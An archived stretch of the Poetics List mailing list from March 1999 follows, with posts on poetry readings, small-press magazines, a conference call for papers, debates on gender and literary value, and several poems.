from the working class, I've seen again and again the futility of waiting to be invited to the table, so have set about making my own place there. That's much of what Lipstick Eleven is about. (In the "official" history I'm about to record) Jim Brashear and I co-founded Lipstick Eleven. We developed Issue No. 1 along with Catalina Cariaga and Roxane Marini. We worked as a collective. In terms of "identity" we were about as diverse a group as one could assemble in terms of race, class, gender, and sexuality. What brought us together was a shared poetics, the experience of having been "outsiders" at SF State, and friendship. For me, the experience of this publishing project is very much about the love and friendship I have with/for my fellow editors. I don't care if that's corny; it's true! And that's very much what makes the project work, as well as what makes it difficult (and necessary). After Issue No. 1, Roxane and Catalina declined to continue, but Jim and I forged ahead, and when Robin Tremblay-McGaw approached us about joining the Lipstick Eleven crew, we welcomed her with open arms. Robin is particularly interested in chapbook publishing, and has opened up new vistas for us. Another element that brought us all together is the teachers we worked with: namely Myung Kim and Bob Gluck. They have both taught me a great deal. More about the conference later--and I hope others will join in. Kathy Lou Schultz

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183. Kathy Lou Schultz

PageMama O Rama (quiz, part 2)

Sun 14 Mar 1999

Okay, kids, this time it gets a little tougher: this is a fill-in-the-blank. Don't worry; there won't be an essay question (this time). And no whispering!

1. The publisher who printed (mimeo-ed) Susan Howe's first book.

2. The name Ann Waldman wanted to give the writing school at Naropa (as stated in Lee Ann Brown's talk).

3. The telly tubby Bernadette Mayer displayed during her reading.

4. Name of Bay Area book publisher celebrating their 25th anniversary.

5. Online journal project being launched by Kathleen Fraser that will focus on "innovative reading/s--writing in answer to other writing, from opened perspectives & models."

Answers:
1. Maureen Owen
2. The Gertrude Stein School of Disembodied Poetics
3. Po

4. Kelsey St.
5. HOW2

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184. Todd Baron /*/ ReMap Readers

LOVE and ReMap

Sun 14 Mar 1999

REMAP is moving its west coast office.
ReMap #7 is delayed due to this move and hopes
its readers and contributors will understand
and still await the issue bouund and determined
to be ON LOVE

as of 3/28/99 our new west coast offices reside in
Culver City (not far from what was once
MGM--the heart of Hollywood)

Todd Baron
3625 wesley street
culver city ca. 90232

"...grows the heart grows...fonder"

"four letter word"

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185. cris cheek

e-dress wanted

Sun 14 Mar 1999

Anyone here got a working e-dress for David Antin? I'd be much abliged. Also anybody who saw his 'Sky Poems' I'd be keen to hear about that experience and if you've got any documentation of the events.

thanks in advance

love and love
cris

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186. komninos zervos

Re: problematic question

Sun 14 Mar 1999

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try http://www.experimedia.vic.gov.au/cyberpoet/zine

and
http://www.experimedia.vic.gov.au/~komninos

and

http://members.tripod.com/~repoem/

and
http://www.burningpress.org/wreyeting/index.html

for starters, and you could check out my essay on technoliteratures on the internet at

http://www.experimedia.vic.gov.au/~komninos/kkztext.html

regards
komninos

Maria Damon wrote:

> *At 3:46 PM -0500 3/12/99, Lowther,John wrote:*
> *what's happening that seems New to anybody out there ?*
>
> *well with all due modesty, and with acknowledgment that miekal is the prime mover here, Literature Nation seems pretty new to me...*

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187. **raea100900**
Silliman reading
Sun 14 Mar 1999

Dear List,

I thought those of you near or passing through San Diego should know that San Diego is about to be the site of another interesting event. Ron Silliman will read at D.G. Wills Bookstore in La Jolla on Monday, March 22 at 8:00 pm. I hope to see some of you there.

Rae Armantrout

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188. **Susan M. Schultz**
Re: LOVE and ReMap
Mon 15 Mar 1999

I still have lots of copies of _Tinfish_ 7: please buy copies for $3 ($2 under the usual price). The covers are unique Pacific region weather maps by Gaye Chan. The journal features poets from the Pacific region; expect to be surprised! I haven't yet put this issue on the web, and won't until I get more business.

Back issues are also available at a discount.

Kathy Banggo's _4-evaz, Anna_ is being reprinted for the third time; it's yours for $4. Hawaiian Creole English and standard; lyrical and tough. A "best seller." Much taught at the University of Hawai`i-Manoa.

I'll be going to the AWP conference in Albany in mid-April and would be delighted to hook up with listees. Will be spending a few days in Denver prior to the conference. Likewise.

Susan Schultz
47-391 Hui Iwa Street #3
Kaneohe, HI 96744 USA

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189. A. Jenn Sondheim
the little train
Mon 15 Mar 1999

/

the little train

one publisher tried to take my book out of production, saying no one would read it. one publisher reneged. one publisher paid for, but didn't bring out a second book, because it was too expensive. one publisher probably jumped up and down but I wasn't there. I was one publisher. one publisher lied and kept me on hold forever, doing nothing. one publisher defended my articles. one publisher is very kind. one publisher is very evil. one pub- lisher had his files destroyed because the typesetters found my work ob- scene. one publisher never sent me copies. one publisher destroyed my cat- alogs. two publishers are my closest friends. one publisher died. one pub- lisher was wonderful and worked with the book. one publisher had his files returned and had to find a new printer. one publisher was wonderful with terrific production values. one publisher produced chapbooks with amazing speed and gusto. one publisher required the subtending of the book. one publisher is on hold. one publisher wore slippers. one publisher found me a nuisance. one publisher found me easy to work with. one publisher won't speak to me. one publisher welcomes me with open arms. one publisher found my old cd's and interviewed me on the phone. I almost fell in love with one publisher. one publisher published without permission. one publisher stole my work. one publisher sent me a contract stating my work would belong to one publisher forever. one publisher rearranged my texts. one publisher did not.

or intense dust, the long and languorous road to suffocation, always dif- ficult to breathe. or filtering through the airconditioned technology of distributions:

records, tapes, magazines, anthologies, chapbooks, mono- graphs. or the sorriest of accounts in a certain coming-into-being. or violent and unmitigated jealousies, nightmares, smashed dreams of fame and fortune. or symptomatic of a closet and impure personality. or the submer- ging of the jewel of talent. or the righteous suppression of the mediocre. or neglect or perseverance. one publisher never answered. one publisher refused to answer or return the work. one publisher would if one publisher could.

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190. **Maria Damon**
Re: problematic question
Mon 15 Mar 1999

At 2:06 PM -0500 3/14/99, Lowther,John wrote:
> Maria Damon
>
> cd you tell me (us) what Literature Nation is ?
>
check out http://net22.com/qazingulaza/joglars/litnat/index.html
lit nat is a piece of hypertextual interwriting with all kinds of groovy special effects. as i'm a techno-neanderthal, and something of a poetic neanderthal as well (though folks on the list have done an admirable job of dragging me kicking and screaming into the present) i have no way of knowing how much of a novelty this website actually is, but for me, it's thrilling.

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191. **Michael McColl**
Re: problematic question
Mon 15 Mar 1999

On Sat, 13 Mar 1999 09:26:29 -0600 Maria Damon said:
>>
>>At any given point, maybe about 1% of 1% of what is being produced is
>>good enough to stand the test of time, and to be acknowledged
>>subsequently as representing a genuine development of what had gone
>>before. Both history and statistical probability are stacked against you
>>in any quest to satisfy both a craving for novelty and a search for
>>significance amongst the contemporary output.
>>
>>
>>Gerald O'Connell

>>
>with all due respect for the care that poets put into their work, it is
>this sort of judgment that my whole professional life is devoted to
>dismantling --cliches like "good enough to stnad the test of time" as if
>that is or should be the prime consideration. it seems to treat poetry
>like a commodity (does it come with a lifetime guarantee, or only a
>one-year warranty? will i have to buy a new one in 5 years, or will this
>last?)

Without entering an imbroglio over the test of time, which in fact isn't *quite* as easy to dismiss as all that, I would suggest that the test of time as applied to commodities is just as likely stolen from the world of art; commodites are being treated like art, perhaps, rather than the other way around. In any case,

half the writers talked about on this list have passed, or are passing, subscribed to the notion, and the counter-traditions which have been assembled comprise writers who have, yes, passed a test of time.

a test of time, no?

Mike McColl

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192. **Maria Damon**
Re: of Mothers & Daughters
Mon 15 Mar 1999

---

interesting musings, joel, and i appreciate your heartfelt commitment to what you're saying. i don't think i knew about the pagemothers conference. so i didn't go. i think it's fantastic that folks are finally recognizing ntozake shange as part of this feminist textual expansion --i remember mentioning her and her "scene" on an MLA panel a few years ago (with m davidson and e dorn) and feeling that i was a fish out of water, though certainly nobody (except dorn) was hostile (and he was not hostile to me as a person, quite the contrary, very gracious, but our talks were diametrically opposed in sentiment, conviction and dare i say ideology). also i'm glad, though i agree with the caveat about turning certain persons into icons, that there can be this kind of celebration since it is obvious that women have an enormously influential location i the "new poetries" --in fact, and i've said this before on the list, it was my concern with "women's writing" that first led me to "language" type poetry; it wasn't until i met charles b and some of the other guys at the louisville conference a few years ago that i even read these guys's work, let alone their theory and a few decades of internal debate (true confession time; i also have never read hamlet, and i hold a tenured position in an english dept). and i agree with kathy lou schultz that the "opposition to power" expressed by some of the guys in the

days leading up to the List Implosion was misdirected at charles and certainly had overtones of competitive oedipalism. i for one have not been especially engaged with gender issues on this list because it doesn't seem the place to do this --it's exhausting and the payoffs are few. that's not what i use the list for. as for the perloff/harryman standoff, i have never met carla harryman (so don't know her personal style etc) and i'm quite fond of marjorie, but she (m) is a controversialist and often i just HAFTA disagree w/ what she says. this is a risk since she occupies such a significant gate-keeper position in the field, but i think in the long run it strengthens the field to have diverse positions articulated, even sharp disagreement, among equals. so, carry on, everybody --marjorie, carla, kathy lou, joel, henry, charles. proliferation of subject positions is all to the good.

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193. Michael W Bibby
Li-Young Lee Reading
Mon 15 Mar 1999

For any of you who might be in the south-central PA region this week: Li-Young Lee will be reading at Shippensburg University on Thurs., March 18, at 7:30 pm in Old Main Chapel on the SU campus.

Questions?/directions?--b/c me at [redacted]

Michael Bibby
Department of English
Shippensburg University
1871 Old Main Drive
Shippensburg, PA 17257
[redacted]

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194. nuyopoman
Peoples Poetry Gathering, NYT Travel Section
Mon 15 Mar 1999

March 14, 1999, Sunday
Travel Desk

TRAVEL ADVISORY; Poets Will Converge Upon Manhattan

Lower Manhattan has played host to poets and their movements for more than two centuries. Edgar Allan Poe, Dylan Thomas, Allen Ginsberg and e.e. cummings all embellished their talents, and occasionally their habits, in the

East Village, SoHo, the West Village, and the Lower East Side. Next month poets from around the world will visit these historic neighborhoods for the first People's Poetry Gathering.

From April 9 to 11, professional poets, amateurs and the curious will partake in over 50 poetry recitations, conversation groups, competitions and workshops. Although the festival is anchored at Cooper Union (East Seventh Street between Third and Fourth Avenues), events will take place throughout the downtown area.

Presented by City Lore, a New York cultural center, and Poets House, a literary center and home to a 35,000-volume poetry library, the festival will explore two primary themes: ''Masters of Oral Tradition'' and ''Emerging Forms and Formats.''

''Masters of Oral Tradition'' events will feature a performance by Utah Phillips, Grand Master of the Rose Tattoo, a dispersed troupe of hobo poets; Gabriel Segura and Rafael Perez Lopez, Colombian decima (10-line verse) improvisers; and a picnic with the cowboy poet Don Edwards, a former rancher and rodeo chaser.

A 10-round ''Heavyweight Poetry Bout'' between Sherman Alexie and Patricia Smith and ''Braggin' Rights,'' a free-style street-corner rapping contest, are planned for ''Emerging Forms and Formats.''

Other featured poets will include Robert Pinsky, the Poet Laureate of the United States; John Cephas, the Piedmont blues musician and National Heritage Award winner; and Galway Kinnell, winner of the Pulitzer Prize and National Book Award.

Also planned are a supper in honor of Robert Burns, midnight readings of erotic poetry and Edgar Allan Poe, a workshop for renga, a collaborative 36-stanza poem (saki provides inspiration after the sixth stanza) with masters from the Spring Street Haiku Group, and a literary tour and pub crawl.

Information: [redacted], extension 5, or www.peoplespoetry.org.

Book now!
Bob Holman

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195. derek beaulieu / house press
"in grave ink"
Mon 15 Mar 1999

---

in grave ink
seriously new writing

$4 one issue
$10 for one year (3 issues)

To privilege one form or style of poetry over another is not the goal of in grave ink. That is what we are trying to escape. However it does seem fair to point out that Canada does privilege a style, a form, even an ideology, perhaps we could call it Nationalism, an attempt to create a Canadian identity through poetry . Whatever is at work in this closing down of poetic possibility is not really what we care about. We care about poetry. Poetry that moves, that breathes, that kicks and hogs the covers. Poetry that gets up in the middle of the night and steals your food and money. Poetry that is both alive, and living.

Although poetry is our main focus, it is not our only focus. Any form of writing and art that fulfills the above ideas of alive and living is welcome. Please let us know the borders that can be touched and crossed in all forms of art. If its new, seriously so, we want it.

So what's with the claim "seriously" new poetry? Here we take writing seriously but do not necessarily see it as having to be serious. We enjoy play with language, with form, with the edges of what is stylistically possible but we play seriously. We play with the belief that words still have the power to change.

So that is a rough and rambling idea of what we are doing and what we want to do. If you are interested any help is welcome. Whether this help comes in the form of poetry, other forms of art, the act of reading or even (shall I say it) subscription money, it is all appreciated.

To find out more, submit or order
e-mail: [redacted] or [redacted]

normal mail: in grave ink
c/o Lindsay Tipping
103 416 7th St NW
Calgary, AB
T2N 1S4

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196. Elizabeth Treadwell
NEW AT DOUBLE LUCY: LYNNE TILLMAN
Mon 15 Mar 1999

New @ Double Lucy's Website

1. Juicy excerpt from LYNNE TILLMAN's novella, LOVE SENTENCE, the first in Double Lucy's 1999-2000 Prose Series!

"Everything Paige thought about love, anything she felt
about love, was inadequate and wrong. It didn't matter to
her that in some way, from some point of view, someone
couldn't actually be wrong about an inchoate thing like
love."

Lynne Tillman's most recent novel, NO LEASE ON LIFE, was a Finalist for this year's National Book Award. We have admired her for ages & are proud to publish this funny, philosophical, literary valentino, starring a favorite character of Lynne's, Miss Paige Turner.

2. LUCY LINKS
Check out the new Lucy Links page!! The old standards, necessary classics, and new Lucilly links to things like the GIRL WIDE WEB, too!

3. YEDDA MORRISON AUTHOR PAGE!
And dash from here to Yedda as the SFBayArea's "LOCAL HOWLER" for March, while you still can! She's a celeb!

4. and while you're there don't forget to check out excerpts from the current issue of OUTLET, featuring work by Laura Moriarty, Malcolm de Chazal (translated by Irving Weiss), Brenda Iijima & Franklin Bruno.

Enjoy

-ET, Ed.

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

197. Steven Marks
Re: Long Poems are the Other, aren't they?
Mon 15 Mar 1999

On Sat, 13 Mar 1999, Tom Beckett wrote:
> I'm fascinated by long poems because they represent something I can't seem to
> do,sensibilities I can visit but not inhabit. If I write 10 pages, my
> characteristic impulse is to reduce them to 10 lines. I tend to condense
> rather than expand. I'm more likely to remove words than add them.

I find that I am now doing the same. I've taken about 50 pages of prose (an abandoned novel) and whittled it down to about 60 or 70 lines. As I continue the condensing, I lose more words, but start to add in graphical elements that somehow take the place of words or sometimes reinforce them or sometimes

act alone. I think I do this because I am so often overwhelmed by all that I feel I must take in. It's less like ADD (at least for me) and more like autism (withdrawal or refuge from overabundance). I feel like if I can just get down a few words and images, then the kaleidoscope will stop turning for a few seconds.

As for the second part...
> When one does a long poem is intensity of experience sacrificed to depth or
> duration?

I don't know, having never written a long poem. However, I am considering my current project as a long visual serial poem. The intensity of experience for the creator of the short poem may be stronger than that of the reader/viewer (although not necessariIy). I know that what I put into 6 pages (which may contain all of 20 words) and an equal amount of graphical elements takes me several months to build. I don't kid myself; it can be looked at in about 15 seconds. I hope that you find things in it that keep you there longer and keep you coming back. I guess I'm saying that this is probably no different an experience than can be had with a long poem. Except that there are more words and that means more time, or duration. There, I've argued both sides.

Steven Marks

↑ Index

198. Kevin L. Magee
Re: The Lament, Caravan) posted 11 Mar
Mon 15 Mar 1999

It is still difficult for me to speak of Hart Crane. One ought to speak more severely than I do of him, to pay respect to the reality of the person Hart Crane (the person of the native inward site of emotional innocence) and the personal seriousness of the poet Hart Crane (in the period of his ascent into literary conspicuousness). Anyone attempting to comment on his work in a homespun style would have to use plain guts to sustain the inevitable gaucheness of paying such tribute, although I would not now credit him with more than a militant outspokenness, the line of it lightning-like "straight" jaggedly bent making a hit somewhere in the area of his excitability, a dazzlingness actually soft in its outburst. Any literarily environmental definition of it, especially in the wild-behavior manifestations of it, earnestness of being, from sense of the specularity of it, the rapturous seizures, his energetic enthusiasm for poet-being, the frenzies of exhibition of feeling-exuberances: the inward site where tendernesses, affections, impulses of kindest emotionality [I say "emotionality," rather than "sensuality"] ranged in chaos: He was preoccupied with the physical triumph of utterance of tradition --

the English tradition--and the twists in it to make room for himself, his personal, single-minded, combative, conception of Heavenly Success (I wonder if it ever did, if it ever could have, become altogether that, to him). One might say that will rather than thought was the sponsor of his language. And the ringing-in, here, knowing what I know of Hart Crane, with the affection manifested towards me when we were in comradely association in New York, all agog with literary self-consciousness: who was going to be "successful," who might, actually, become "famous," who at least be rated as a safe bet for the commitment of the critical watchers of the candidates for the word "good" for public whispering round. I cannot read any other story into what happened to him humanly, a spectacular incurability and original confusion in terms that combined the personal and the literary--what was happening was a convulsive mixture of the two within an actually narrow frame of experience (both personal and literary experience) dedicated to poetic independence from hierarchic restrictions and stupefying refinements for all the stress put on his having given natural-poet-identity, no eccentric existing in a private literary environment of his own. The comparison has justification. Blake armed his poet-boldness with Art, indifferent to others, yet courting them, making them listen, by the forceful boast of indifferentness, as the opposite number to the Hart Crane figure of quixotic self-expansiveness, a pair of types couplable by a quite braggart singularity and grasp of the nature of critical literary learning. In this period of my thinking, my formulating of my thinking, I called the individual unreal: not just a process of reaction to existence as an environmental aggregate, the body of experience en masse, that to which one was involuntarily, almost helplessly, exposed. I can identify this environment in-the-large of individual being as collective, synthetic, reality, in so far as it is real, not something locked within a frame of existence that makes of one the reactions it excites in one. It has surprised me that I could then stretch my loyal regard across the widening breach, and encompass the whole in an appreciation both fervent and sad. I called the individual unreal. Would it have been any different if I had lingered beyond 1925? I had moved far away from the New York scene. It is still difficult for me to speak of Hart Crane.

Laura Riding
March 15, 193-? 194-?
Near Garrettsville

↑ Index

199. Poetics List Administration
disappearer
Tue 16 Mar 1999

All - sorry for the short run yesterday; UB is predictably saddled once again with mailhub problems, which caused a smidge of havoc here. Messages from yesterday have been sent to listserv, and are on their way - but I don't know at this point when they'll get here.

Chris - argh

↑ Index

200. Richard Carfagna
Enslin essays
Tue 16 Mar 1999

HI,
Was just wondering if anyone knows of essays or the such on the long poems of Theodore Enslin,
NPF just released his selected poems and I'm curious to find out more about the long poems excerpted
in this volume and the ones not included.
ric

↑ Index

201. Billy Little
Re: of Mothers & Daughters
Tue 16 Mar 1999

---

don't you think that these are Perloff's men and she has to protect/project their dominance or she risks seeing her own writing about them become irrelevant?

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

202. dbkk
Re: of Mothers & Daughters
Tue 16 Mar 1999

At 9:15 AM -0600 3/15/99, Maria Damon wrote:
>i think it's fantastic that folks are finally recognizing

>ntozake shange as part of this feminist textual expansion --i remember
>mentioning her and her "scene" on an MLA panel a few years ago (with m
>davidson and e dorn) and feeling that i was a fish out of water, though
>certainly nobody (except dorn) was hostile

Maria,

I agree with you that it's "fantastic" (you're so much more enthusiastic than I am, Maria) that Ntozake Shange is being recognized in this area--however I had lots of problems with how she was discussed at the conference. I felt there was lots of amnesia and revisionism going on. I got involved in the SF experimental feminist scene in the early 80s after having been reading more traditional feminist stuff for 10 years--and at that time I thought Shange was great--the whole country did. But when I learned the new theoretical feminist cannon, Shange was never taught, never mentioned--as far as I remember. Though Shange does some marvelous stuff formally, she was overlooked by the intelligensia--because of her populist surface, I imagine. She was someone, I felt in my younger impressionable years, that one gave up--like Plath, like Adrienne Rich, like Gilbert and Gubar--if one wanted to be a serious experimental feminist. The only black woman I can remember being acceptable was Erica Hunt (Harryette Mullen was still early on in her career; later, of course, she got noticed). These are just my memories from my "youth," which, as we all know, can be very reductive.

Interestingly, one guy posed a question to my panel about class--and I was all ready to speak--finally this could be talked about because it is an important issue, I feel, one that is denied over and over again--and somebody besides me and Kathy Lou Schultz thinks so. Laura Moriarity said that class differences were breaking down--something I disagree with, which is odd since I usually agree with Laura. But then Carla jumped up and started yelling at Marjorie and the issue, once again, got swept under the rug.

Dodie

↑ Index

203. **Judy Roitman**
More Larryville
Tue 16 Mar 1999

Alan Sondheim
March 30
7:30 p.m.
Canterbury House
1116 Louisiana
Lawrence, KS

And don't forget the Poetics Seminar (Mayhew on March 31, Perloff on April 19).

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

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204. Edward Foster
New Terrific Book
Tue 16 Mar 1999

It's here:

Simon Pettet

James Schuyler - Selected Art Writings
Black Sparrow, 1999

(with photos and everything)

paperback, $17.50, ISBN 1-57423-076-X

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205. Elizabeth Fodaski
Torque
Tue 16 Mar 1999

Dear Friends of Torque,

As I prepare the next issue of Torque for publication, I find myself at a frustrating crossroads. While sales of the Torque + Object collaborative issue were good, they were not good enough to compensate me and Rob for the money we spent, from our own pockets, to get the issue out. The balance of my Torque account, therefore, is not sufficient to cover the cost of the next issue. While I desperately want to get the exciting new issue of Torque into print and distributed among Torque’s faithful readers and contributors, I can’t do it without the funds. I don’t need much more money; if fifty more people bought copies of the Torque + Object collaborative issue, I would have enough, from my share of the proceeds, to print Torque #6.

There are still plenty of copies of the highly successful Torque + Object collaborative issue, featuring work by 25 innovative poets. The collection has been touted by many readers and correspondents as a fantastic and fruitful collaborative effort to bring together so many of today's most interesting and adventurous writers. I urge you to order a copy today if you don't already have one, to buy a second if you do, and to tell anyone you know who hasn't ordered a copy to do so. Copies of Torque #4 are also available. Order now if you don't have this issue. The sooner the orders come in, the sooner Torque #6 will be in print!

Thank you for your continued support.

To order, send checks made payable to Elizabeth Fodaski to:
Elizabeth Fodaski
21 East 2nd Street #14
New York, NY 10003

Torque #4 is $6. The Object + Torque collaborative issue is $10. Please order!

Sincerely,
Elizabeth Fodaski

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206. **Katie Degentesh**
9x9 = 6,500
Tue 16 Mar 1999

6,500 HAS ARRIVED!!!

9x9 Industries presents the long-awaited first issue of its magazine:

6,500

Packed with poetry, prose, and poetry in translation by:

Jürge BECKER --> Anselm BERRIGAN --> Edmund BERRIGAN --> Curtis BONNEY -->David CAMERON --> Maxine CHERNOFF --> The Mysterious MISTER CLAM --> Daniel COSHNEAR --> Katie DEGENTESH --> Paul FLORES --> Gregory FUCHS --> Ray GONZALEZ --> Oleg GRIGORIEV --> Martina HÜGLI --> Honor JOHNSON --> Noelle KOCOT --> Brendan LORBER --> Alice NOTLEY --> Douglas OLIVER --> Eugene OSTASHEVSKY --> Alexei PARSCHIKOV --> Kit ROBINSON --> Aaron SHURIN --> Hal SIROWITZ --> J. Tarin TOWERS --> Alicia WING

To CELEBRATE this event, some of the above people (including Curtis Bonney, Maxine Chernoff, Paul Flores, Kit Robinson, Katie Degentesh, Tarin Towers, Eugene Ostashevsky, Alicia Wing, and the Mysterious Mr. Clam)

will READ THEIR POETRY at

New College of California
777 Valencia, San Francisco
7:30 PM
THURSDAY, MARCH 25, 1999

PLEASE NOTE THAT THIS EVENT IS ONLY 9 (NINE) DAYS AWAY

and it will cost

**********$8 to get IN and GET 6,500*********

THIS IS A VERY GOOD PRICE because

-->6,500 has a cover price of $8<--

(you may enter for $5 if you already own so many copies of 6,500 you can't possibly carry home another and you just want to catch the amazing reading)

Those of you who need to order 6,500 by mail may write checks payable to Paraffin Arts Project and send them c/o 9x9 Industries, PO Box 14842, San Francisco, CA 94114.

Those of you who need to SUBMIT will do so c/o 6,500 at the very same address you see above.

9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9

6,500: six thousand, five hundred

Editor: Brandon Downing
Graphic Design: Eugene Timerman, Klauddesign
Associate Editor: Katie "The Door" Degentesh

9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9

thanks to the Zellerbach Family Fund and the members of 9x9 Industries

THIS IS A VERY BIG DEAL.

OTHER 199X9 EVENTS:

MARCH 18: Alex Green, Marvin White, Tom Roche read at Adobe Bookshop
APRIL 15: Double Lucy Books at Adobe: Elizabeth Treadwell, Yedda Morrison, Sarah Anne Cox (not Sarah Rosenthal as previously mentioned) MAY 13: Michael Palmer and Jocelyn Saidenberg read at Adobe Bookshop

1999 (NINETEEN NINETY (NINE BY NINE) INDUSTRIES) 199X9

www.paraffin.org/nine/

WE WANT YOUR THURSDAY EVENINGS.

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207. Mark Weiss
Query
Tue 16 Mar 1999

Anyone out there (including herself) who knows Lee-Anne Brown's email address?

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208. BETSY ANDREWS
question
Tue 16 Mar 1999

Has anyone heard of a women and poetics conference happening at Barnard in April?

wondering, betsy

↑ Index

209. charles alexander
some tucson events
Tue 16 Mar 1999

POG (poetry group) Presents:

PETER GANICK
with guest Sheila E. Murphy

POETRY READING

Saturday, March 20, 7pm

at ORTS THEATRE of DANCE
121 E. 7th Street

PETER GANICK is the founder/publisher of Potes & Poets Press and Abacus. His recent books include NO SOAP RADIO, NEWS ON SKIS, and RECTANGULAR MORNING POEM. He lives in Elmwood, Connecticut. He and Sheila E. Murphy (poet and POG member) have recently completed a collaborative poem, and part of the reading will consist of them reading this work together.

$5 suggested contribution, but no one will be turned away.

The next POG reading after this one is one POG is co-sponsoring with the Tucson Poetry Festival, and features David Shapiro reading with Charles Bernstein, on Friday, March 26, at 8:00 pm, at the Temple of Music and Art, 330 S. Scott Avenue, Tucson. The Tucson Poetry Festival charges $9 admission per session ($7 if purchased in advance at Antigone Books, Bentley's House of

Coffee & Tea, or the Book Stop), or $20 admission for the entire festival ($15 if purchased in advance at the locations listed above). Poets reading at other readings during the festival are Jane Hirshfield, Robert Bly, and state poetry contest winner on Saturday March 27 at 8pm; and Pat Mora, Ramson Lomatewama, and bilingual high school poetry contest winner on Sunday March 28 at 2pm. The reading featuring David Shapiro with Charles Bernstein is the only reading at the Tucson Poetry Festival that is co-sponsored by POG.

For POG information call [redacted].

For Tucson Poetry Festival Information call [redacted].

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210. A. Jenn Sondheim

1844-1999

Wed 17 Mar 1999

+

1844-1999

I will be your pattern because it's clear
there's a pattern to be made and I will be your maid
and clear up the pattern made from fear
of the lumpenproletariat welling up from your maid
who you will have made thinking that always
beyond the shame there is always another maid
who will wash away that pattern while you steer
clear of what you have rigorously made
defining pattern beyond repetition, that is:
the rigour of the maid. every pattern has its
marx to upwell from the pattern. every maid
dreams of jenny and black freighters.
you only think of patterns and spinning jennies
you think you made.

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211. Ron Silliman

SoCal Reading Tour

Wed 17 Mar 1999

RON SILLIMAN
SOUTHERN CALIFORNIA TOUR

HELLO, LA JOLLA
Monday, March 22, 8 PM
DG Wills Books
7561 Girard Avenue
La Jolla, CA 92037
619) [redacted]

FIRST LA READING OF THE 1990s
Thursday, March 25, 8 PM
Loyola Marymount
MacIntosh Center
7900 Loyola Bld
(near Sepulveda & Manchester)
For info, call the English Dept
[redacted]

Our thanks to the Motion Picture Academy
for moving the Oscar Presentations to Sunday
so as to avoid a conflict with DG Wills
Get Your Private, Free Email at http://www.hotmail.com

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212. Cassandra Laity
CFP: NEW MODERNISMS Conference
Wed 17 Mar 1999

Date: 17-Mar-1999 10:48am EDT
From: Laity, Cassandra
CLAITY
Dept: FAC/STAFF
Tel No: 3141

TO: Remote Addressee ([redacted])

Subject: CFP: NEW MODERNISMS Conference

Date: 17-Mar-1999 10:45am EDT
From: Laity, Cassandra
CLAITY
Dept: FAC/STAFF
Tel No: 3141

TO: Laity, Cassandra (CLAITY)

Subject: RE: FWD: Re: Mass Mailing

Dear Poetics List:

So many of you expressed interest in attending the inaugural conference of _The Modernist Studies Association_, "The New Modernisms" (Oct. 7-10, 1999 at Penn State University), tham I am posting our "brochure," which lays out the procedure both for submitting proposals and for registering for one of the sixteen available seminars listed below.

We begin by presenting a list of the plenaries and special sessions appearing at the conference. As plans develop, one or two additional plenary sessions may be posted on our website <http://www.psu.edu/dept/english/MSA/msa.htm> and will appear in our full brochure (still in production).

Cassandra Laity
on behalf of the _MSA_ Program Committee

The New Modernisms

The Inaugural Conference of the Modernist Studies Association

October 7-10, 1999

The Nittany Lion Inn

State College, Pennsylvania

About the Conference

The recently founded Modernist Studies Association is devoted to the study of the arts in their social, political, cultural, and intellectual contexts from the late nineteenth century through the mid-twentieth century. The organization aims to develop an international and interdisciplinary forum to promote exchange among scholars in this revitalized and rapidly changing field.

The conference will feature three kinds of organized discussion: 1) plenary sessions, each with two invited speakers and a respondent; 2) seminars, small group discussions (maximum of 15) based on brief essays which the participants submit in advance; and 3) panels, each with a chair and three 20-minute presentations. The design of the conference should allow each participant to attend the plenary sessions and participate in a seminar and/or a panel.

Plenary Sessions

"Modernism, Race, and Nation": Peter Nicholls (University of Sussex), Houston Baker (Duke University), and respondent Kathryne Lindberg (Wayne State University)

"Modernism, Feminist Criticism and Identity Politics": Susan Stanford Friedman (University of Wisconsin--Madison), Rachel Blau DuPlessis (Temple University), and repondent Bonnie Kime Scott (University of Delaware)

"Literary Modernism and the Visual Arts": Charles Altieri (University of California--Berkeley), Philip Weinstein (Swarthmore College), and respondent Wendy Steiner (University of Pennsylvania)

Special Sessions

The program committee has arranged special sessions on Modernism and "Redefining Modernity" (Rita Felski, University of Virgina); Modern Art (Patricia Leighten, Duke University); "Middlebrow" Culture (Ann Ardis, University of Delaware); The Marketing of Modernism (Mark Morrisson, Pennsylvania State University--University Park); The Editing of Modernist Texts (Robin Schulze, Pennsylvania State University--University Park); Modernism, Science, and Technology (Susan Squier, Pennsylania State University--University Park); Modernism and Post-Colonialism (Guari Viswanathan, Columbia University); and The London Literary Scene, 1911-1916 (Caroline Zilboorg, Cambridge University)

Call for Panel Proposals and Seminar Registration

Individuals may submit a ranked list of two or three seminars and/or a proposal for a panel. Since we can accept only a limited number of panel proposals, we encourage all prospective participants to consider participation in one of the sixteen seminars listed below. Seminar assignments will be made on a first come/first served basis, beginning now and extending to August 1st: the sooner you submit your selections, the better your chance of receiving your first choice.

If you choose to submit a proposal for a panel, we encourage you to register for seminars at the same time. If your panel proposal is not accepted, you are still guaranteed a place in one of the seminars. If your proposal is accepted, you still have the option of participating in a seminar. The deadline for submitting panel proposals is June 1st. The program committee will notify those who have submitted proposals by June 30th.

Seminars

Seminars are small group discussions (maximum of 15) based on brief papers (5-10 pages) that the participants submit in advance of the meeting. Seminars are an attractive feature of many professional conferences. They offer participants with related interests an opportunity to meet and to engage in a conversation that may extend beyond the conference itself. We strongly encourage registrants to consider participation in a seminar either as a desirable alternative to, or in addition to, their participation on a panel. All registrants are guaranteed a place in a seminar, and will be sent a letter confirming their presence on the program. As far as travel funds are

concerned, academic institutions usually regard participation in a seminar as equivalent to participation on a panel.

The program committee has organized the following seminars:

1. Modernism and Popular Culture
David Chinitz (Loyola University--Chicago)
[25 word description still pending. See the website for an update.]

2. Modernist Irony
Kevin Dettmar (Clemson University)
[25-word description still pending. See the website for an update.]

